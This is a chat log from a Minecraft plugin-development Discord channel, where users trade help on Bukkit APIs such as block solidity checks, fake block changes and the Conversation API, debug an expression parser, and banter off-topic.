Hello, I made a custom block that copies the block you place it on. But basically when you place the block on a non-solid block like grass or snow… it can’t copy it so it prints an error. How can I prevent this, is there a check for non solid blocks, because I don’t want to create a 100 lines array with all the non solid blocks?

echo basalt
#

Material#isSolid

winged ridge
#

I tried it

#

It doesn’t work

echo basalt
#

isOccluding?

sinful wave
#

Is there a way to load a non-default world?

#

say in onEnable i want to load the world in the folder 'world_duels'

winged ridge
echo basalt
sinful wave
#

ok ty

tardy delta
#

nice bugs with my java.nio.charbuffer impl

#

for some reason it transforms to 120+8+4

quiet ice
#

i.e. it skips the -

tardy delta
#

changed it and found the issue

#

it doesnt skip the - ig

#

me changing the whole impl and then it breaks ;-;

winged ridge
# echo basalt isOccluding?

that might have worked, but do you know why if(event.getAction() == Action.RIGHT_CLICK_BLOCK ...) says true even when i left click a block or air

#

wait nvm

sinful rapids
#
HashMap<String , String> hashMap = new HashMap<>();
hashMap.put(target.getName(), random + " " + args[1]);
Main.plugin.getConfig().set("Targhe", hashMap);
Main.plugin.saveConfig();
Main.plugin.reloadconfig();

If the player is already there it replaces the string that is already there. How can I make it add another string instead of replacing?

tardy delta
#

you wanna chain those strings?

sinful rapids
hybrid spoke
#

use a stringbuilder

sinful rapids
#

ok

hazy parrot
#

do you want to add another string to kind of list tied to a player

#

or just append new string to the one that already exist

tardy delta
#

computeIfAbsent

tardy delta
#

or merge or smth

#

new HashMap<String, String>().computeIfPresent("player name", (k, v) -> v + " " + args[1]);

sinful rapids
#

I'll try

tender shard
#

mojang

opal juniper
#

IIRC paper re-write this

tender shard
#

I've checked their github and the only thing I see regarding "locate" stuff is a new event

#

patch 0555

opal juniper
#

Huh, yeah u right

#

Guess it cant be optimised :)

winged ridge
#

How to properly break a block after you change its block data with sendBlockChange for exemple the block by default is stone then it becomes grass; so when you break it with hands it'll just return to stone and magically break after 5s

eternal oxide
#

sendBlockChange is a fake change. it only tells the client the block was changed.

kindred valley
#

Hello elgar

eternal oxide
#

Pointless video. I just told you why you get a stone block

#

Because it was never really changed

winged ridge
#

yeah but why does it break then

eternal oxide
#

It will only break if you break it in code or the player does

winged ridge
#

when I break the block it breaks like it's grass

#

what I'm saying is how can I break it directly after the grass is broke

green prism
#

ConversationalAPI hand-made...
How can I unregister the AsyncPlayerChatEvent after the convo is ended?
(Prevent it from getting fired again with the same old data)

eternal oxide
#

it breaks like grass because the client thinks it IS grass

winged ridge
#

this is what I do java block.setType(Material.AIR);

eternal oxide
#

the server knows better so it drops a stone block

green prism
#

Elg

wet breach
#

and you would have to change the nbt structure of the chunk file

winged ridge
eternal oxide
#

its not magically breaking, you are doing that

winged ridge
#

if i use a pickaxe it breaks instantly because a pickaxe can break stone

wet breach
#

an example of how to exit out of a conversation

wary harness
#

Player.getPlayerExact(name) what is difference Player.getPlayer(name)?

winged ridge
#

can I prevent the block from breaking if the player isn't not holding a pickaxe?

wary harness
#

oh

#

thanks

wet breach
wet breach
#

You can do a lot with conversation api 😛

#

the way I use it, it puts them in a channel with the server

#

so that player chat doesn't clutter their screen

wary harness
#

It will ignore Upper Lower Case

#

?

wet breach
#

at the end it puts them back in the global chat channel 😛

green prism
#

Wait but... I didnt understand how you fire the event only once

wet breach
green prism
#

?paste

undone axleBOT
wet breach
#

each of the prompts you see are technically a class

#

I just didn't use separate class files

tardy delta
#

im really fucking up

green prism
#

Should I unregister the convo class once it fires the first time?

wet breach
#

I am making use of the conversation API

#

this API has existed for quite a long time now since like 1.7 or 1.6 I think

green prism
#

Didnt know that bukkit had its own ConvoAPI

#

Woah, gonna try, thank you

wet breach
#

yeah not many people are aware about it

#

despite how old it is lmao

tardy delta
#

fuck found my bug, i had a switch in a loop and instead of breaking out of the loop, i was breaking out of the switch

wet breach
#

lol

tardy delta
#

looks like 12-4 is 16 now

#

{12}{-}{-4} meh

wet breach
#

lol

eternal oxide
#

-- = +

green prism
# wet breach lol

How could I use MiniMessage inside there?

        @Override
        public String getPromptText(ConversationContext context) {
            return Lang.CREATE_COMPANY__CONVO__SET_OWNER__CHAT_MESSAGE;
        }

I can't even get the player instance

tardy delta
#

ik lol

#

my code doesnt know yet

eternal oxide
#

Math -- =+, ++ = +, -+= -, +- = -

green prism
# green prism How could I use MiniMessage inside there? ```java @Override pub...

This should work

@Override
        public String getPromptText(ConversationContext context) {
            Component[] messages = new Component[]{
                    Lang.CREATE_COMPANY__CONVO__SET_OWNER__CHAT_MESSAGE,
                    Lang.CREATE_COMPANY__CONVO__SET_OWNER__TITLE__TITLE,
                    Lang.CREATE_COMPANY__CONVO__SET_OWNER__TITLE__SUBTITLE
            };
            
            processMessages(player, messages);
            return "";
        }```
tardy delta
#

trying to allow things like x--y

wet breach
#

context.getSessionData("player")

#

so at the beginning I set the sessiondata player

#

and then later on, I can do getSessionData

green prism
#

Yeah but, the "" thing could fire to the player an empty line

wet breach
#

do you want it to fire an empty?

#

because you can detect empty messages and then not do so

green prism
wet breach
#

idk what minimessage

#

is

#

anyways, you can process the output before you actually send it...

wet breach
#

as you can see with this piece, I evaluate the input even if there is none

tardy delta
#

smh found my issue, had to do appendOperator(Operator.SUBTRACTION) instead of directly modifying the tokens and forgetting to increment the pointer

wet breach
#

now time to see what breaks next 🙂

tardy delta
#

ok it works

#

my always writing a class InputMismatchException while java has one

#

lets just rename it to SyntaxException lol

#

time to remove old code

wet breach
tardy delta
#

1 of 5 tests passes and 2 are creating a stackoverflow smh

#

is there a way to debug tests tho?

#

i do attach debugger when it runs and then it crashes

quiet ice
#

Try out another JVM I guess

#

If JBR does not work I guess testing out OpenJ9 is a good thing, they tend to be a bit different

wet breach
tardy delta
#

hmm one of my tests keeps running forever

wet breach
#

not entirely sure, as you really don't debug tests with a debugger lol

green prism
#

By returning "", it sends an empty line

wet breach
#

you could instead call a custom method to be returned

green prism
#

something like \n

wet breach
#

which can contain your component

wet breach
#

seems like its an old bug

#

that may never have gotten fixed lol

green prism
# wet breach which can contain your component
@Override
        public String getPromptText(ConversationContext context) {
            Component[] messages = new Component[]{
                    Lang.CREATE_COMPANY__CONVO__SET_DESCRIPTION__CHAT_MESSAGE,
                    Lang.CREATE_COMPANY__CONVO__SET_DESCRIPTION__TITLE__TITLE,
                    Lang.CREATE_COMPANY__CONVO__SET_DESCRIPTION__TITLE__SUBTITLE
            };

            processMessages(player, messages);
            return "";
        }```

Do you mean something like this?
wet breach
#

I thought you didn't want to return an empty line?

#

or do you want to return an empty line?

green prism
#

I don't want to

#

I just want my components to be printed in chat

#

It sends everything as written*

#

and some empty line as Bukkit ConvoAPI logic

tardy delta
#

-1+1 works fine but whenever i do -1 + 1 it keeps blocking

#

the only place where im checking for spaces just does a continue in a loop 💀

#

time to debug manually

wet breach
tardy delta
#

hmm i think its because my tokenreader tries to read the character after 1 and keeps blocking on a space

green prism
#

That causes the problem

wet breach
#

use the appropriate prompt then

tender shard
#

hewwo I am frostalf

#

hewwo I am fourteenbrush

tender shard
#

yeeeehaaaaa

tardy delta
#

ah forgot to move pointer

#

eya alex

#

stupid java.nio.CharBuffer

tender shard
#

never used it, I have no clue what it does

#

is it like a StringBuffer, but only for chars?

tardy delta
#

more like a ByteBuffer for chars

tender shard
#

yikes

#

sounds painful to use

wet breach
#

can be

tardy delta
#

it has some nice get() and put() methods which is why i use it

#

ok fixed my -1 + 1

tender shard
#

brb, gotta pump some healthy tobacco into my lungs

tardy delta
#

easy fix

wet breach
tardy delta
#

just throws an error

#

like 1 + è would throw an exception when it encounters è

wet breach
wet breach
# tardy delta like `1 + è` would throw an exception when it encounters è
String accepted = "-+*/()";
for (int i = 0; i < inputExpression.length(); i++) {
    char c = inputExpression.charAt(i);
    if (c >= '0' && c <= '9') continue;
    if (c >= 'a' && c <= 'z') return ErrorType.ALPHABETIC_SYMBOL;
    if (c >= 'A' && c <= 'Z') return ErrorType.ALPHABETIC_SYMBOL;
    if (accepted.indexOf(c) < 0) return ErrorType.UNKNOWN_SYMBOL;
}
green prism
#

Frost, I got a more serious problem...
Could you help me?

After a fail, the convo ends and when I restart it, it gets fired twice

wet breach
#

show some code

#

?paste

undone axleBOT
glossy venture
tardy delta
sinful wave
#

I currently have a GUI that has an item that can be clicked to queue a player into a game

#

what would be the best way to check that the item clicked is that actual item

#

i was using customised localised names in 1.19 api

#

but in 1.8 api there are no localised names

tardy delta
glossy venture
#

nah but you can do Double.parseDouble(reader.collect(c -> isDigit(c)))

#

ima add that parsing shit later

tardy delta
#

looping multiple times meh

glossy venture
#

yeah

#

true

tardy delta
#

im trying to optimize it as much as possible

wet breach
tardy delta
#

well i handle all default cases at the end of the switch

glossy venture
#

are you doing an AST?

wet breach
#

I don't think you can really get more optimal unless you want to go down to character points

tardy delta
glossy venture
#

bruh

tardy delta
#

still have to optimize my algorithm too, only refactoring the parsing now

green prism
wet breach
green prism
green prism
wet breach
#

ok, that is fine, but like just close the inventory and invoke your conversation api

#

don't try to do it all in like one go

tardy delta
green prism
# wet breach ok, that is fine, but like just close the inventory and invoke your conversation...

I am already doing this...

player.closeInventory();
ConversationFactory factory = new ConversationFactory(plugin)
.withModality(false)
.withEscapeSequence(Lang.CONVO_EXIT_WORD)
.withTimeout(60)
.withFirstPrompt(new OwnerPrompt());

        factory.buildConversation(player).begin();

        Component[] messages = new Component[]{
                Lang.CREATE_COMPANY__CONVO__SET_OWNER__CHAT_MESSAGE,
                Lang.CREATE_COMPANY__CONVO__SET_OWNER__TITLE__TITLE,
                Lang.CREATE_COMPANY__CONVO__SET_OWNER__TITLE__SUBTITLE
        };

        processMessages(player, messages);
echo basalt
#

conversation api bad

green prism
#

whats your solution?

echo basalt
#

make your own

green prism
#

jhgwrosruihgwioruhjw

wet breach
#

they are just doing it incorrectly is all lol

green prism
echo basalt
#

frostalf can I please be in denial for once

wet breach
#

lol

echo basalt
#

I made my own fully fledged tutorial system with full conversation

#

worked on that shit for 6 months

wet breach
#

I have my own too

green prism
#

?paste

undone axleBOT
wet breach
#

except I didn't need to make a conversation API

echo basalt
#

I saw it, wasn't impressed

wet breach
#

I just used what was already there. Is that what you are in denial about?

green prism
wet breach
#

that you made your own without realizing the server already had an API for it?

echo basalt
#

the conversation api wasn't that good

#

and also it's just for... conversation

#

I made more than conversation

wet breach
#

more then conversation?

echo basalt
#

like

#

on the tutorial

#

your inputs could determine your outcome

wet breach
#

yes that is what I use the conversation api for

#

o.O

echo basalt
#

and it's all just like

#

a huge chain of objectives

echo basalt
wet breach
#

you are like describing how I use the conversation API currently, it is all chained together until it gets to the final thing

echo basalt
#

it isn't centered around messages

green prism
#

So, whats your approach...
ConversationAPI are too bad and my own are even worst...
What would you suggest, please, please, please...
I'm stuck on there since yesterday

echo basalt
#

conversation api is good enough for what you need

#

It's still bad for my standards

#

but it should work

#

you gotta start somewhere

wet breach
echo basalt
#

still use it nowadays

#

like the message objective is just one of many

#

my tutorial system is really interactive

#

"Walk over to the mine", "Place this tower"

#

then it gives you a tower

#

"walk over to the next area"

#

then it makes a particle trail

wet breach
echo basalt
#

that's just a very nice way of calling yourself a boomer

green prism
wet breach
echo basalt
#

you can revamp it

#

with some inspiration ig

wet breach
#

because currently it doesn't work for whatever reason

echo basalt
#

typical side project

wet breach
#

why don't you get it working first and understand the new API

#

before like trying to do some weird stuff with it

echo basalt
# green prism yo

listen man with the amount of bumps you're doing I really can't be bothered

green prism
#

thank you

wet breach
#

modality means supressing messages from other stuff, not supressing messages from your convo

#

so like player chat etc

#

that is why I use in my plugin, modality true because I need the player to see the chat from the plugin conversation

echo basalt
#

I might make an actual chat suppressing system for my tutorial at some point

#

just a queue of chat packets

#

with like a 200 size limit

wet breach
#

I won't look at tutorial plugin until I have updated mine

echo basalt
#

and then I can just add an urgent tag to whatever packets I send on my objective

wet breach
#

this way I am not stealing ideas from you 😛

echo basalt
#

I'm fine with stealing ideas

wet breach
#

I am not though

echo basalt
#

as long as you're not being a verano

#

mfs DMing me asking how my code is structured

wet breach
#

lmao

echo basalt
#

on my old menu api

#

that I started rewriting last week

wet breach
#

I have plans to rewrite HoloAPI

#

and bring it back to life

echo basalt
#

I still gotta work on my nms tutorial

#

like a full free course on spigot

#

so I get clout

opal juniper
#

whyyyy

#

it changes so much

wet breach
#

@opal juniper have you seen the code for it?

opal juniper
#

for what, HoloAPI?

wet breach
#

yes

wet breach
opal juniper
#

No, but i am somewhat aware of the backstory

wet breach
#

anyways it died because of armorstands

opal juniper
#

ye

wet breach
#

but like the code for it is quite a bit

#

it doesn't just allow Holograms

#

it also allows other plugins to use holograms

echo basalt
#

mans got more waves than the local beach

tardy delta
#

imagine having a beach

echo basalt
#

nope

#

client doesn't send packets

echo basalt
tardy delta
#

lucky

echo basalt
#

I hate the beach tho

#

I prefer the pool on the apartments next to the beach 😎

#

benefits of having contacts

#

and yes I occasionally bust out the telescope to look at chicks

tardy delta
#

chances to find a gf

sinful wave
#

When a player breaks a block that is over void in my duels world, it causes quite a bit of lag for the player that breaks the block. Any idea why this may be? This is within a system that stores players placed blocks to check if they can break a block based on whether it is new or not.

echo basalt
echo basalt
tardy delta
#

find a nerdy gf

echo basalt
#

it's shitty but just update your server lol

sinful wave
#

i want my server to be 1.8 tho

echo basalt
sinful wave
#

😦

echo basalt
sinful wave
#

i want 1.8 pvp

echo basalt
tardy delta
#

they do

echo basalt
#

nah

#

not here

sinful wave
#

ok but are there any alternatives

tardy delta
#

they are rare

sinful wave
#

if i want 1.8 pvp

echo basalt
#

nop

#

they don't exist

#

I'm telling you

#

no one wants like

#

a minecraft plugin developer ™️

#

as their life partner

tardy delta
#

ill prove you otherwise

#

give me a few years

echo basalt
#

mans gonna send a selfie

#

like

tardy delta
#

hell no

echo basalt
#

I have friends

#

that end up being my assistants

#

because I force em to code plugins n shit

tardy delta
#

youre sounding like gru now

#

i have minions

echo basalt
#

and pay em more than minimum wage

#

just like

#

"ayo I know you starving, I got this project I don't want to do, I'll toss ye 80 bucks"

#

and make 200 out of it

#

just do some final touch-ups at the end

#

it's like being a pimp but instead of selling out girls you sell out your friendship

sinful wave
#

@echo basalt as a fix, could i stop all block damage events if its not a new block

#

therefore they will never break the block client side

echo basalt
#

no that sounds real stupid fr

sinful wave
#

why 😦

echo basalt
#

you can cancel lighting update packets n all

#

but that's too much effort

sinful wave
#

whys that stupid

echo basalt
#

no comment.

sinful wave
#

alr ill just put blocks under the blocks

wet breach
#

what do you mean 0%?

echo basalt
#

you switch up tyres for a living

#

tires

#

idk the word

wet breach
#

indeed I do

#

I was also in the Military too 😄

echo basalt
#

so yeah

#

that's plenty attractive

#

but just development is corny

#

What do you do? I make plugins for a living
Do you go outside? nah not really

#

sometimes I like to play it up and say I'm a Distributed Systems and Network Engineer ™️

wet breach
#

there are plenty of people who have found GF's through MC

echo basalt
#

while in reality I'm writing plugins that can be run on multiple servers at once

#

and talk to each other

wet breach
#

think that is how optic found his GF

#

@vagrant stratus did you find your GF through MC? or something else lol

#

just curious

echo basalt
#

I'd also argue that optic is in a country with a lot of technical people n all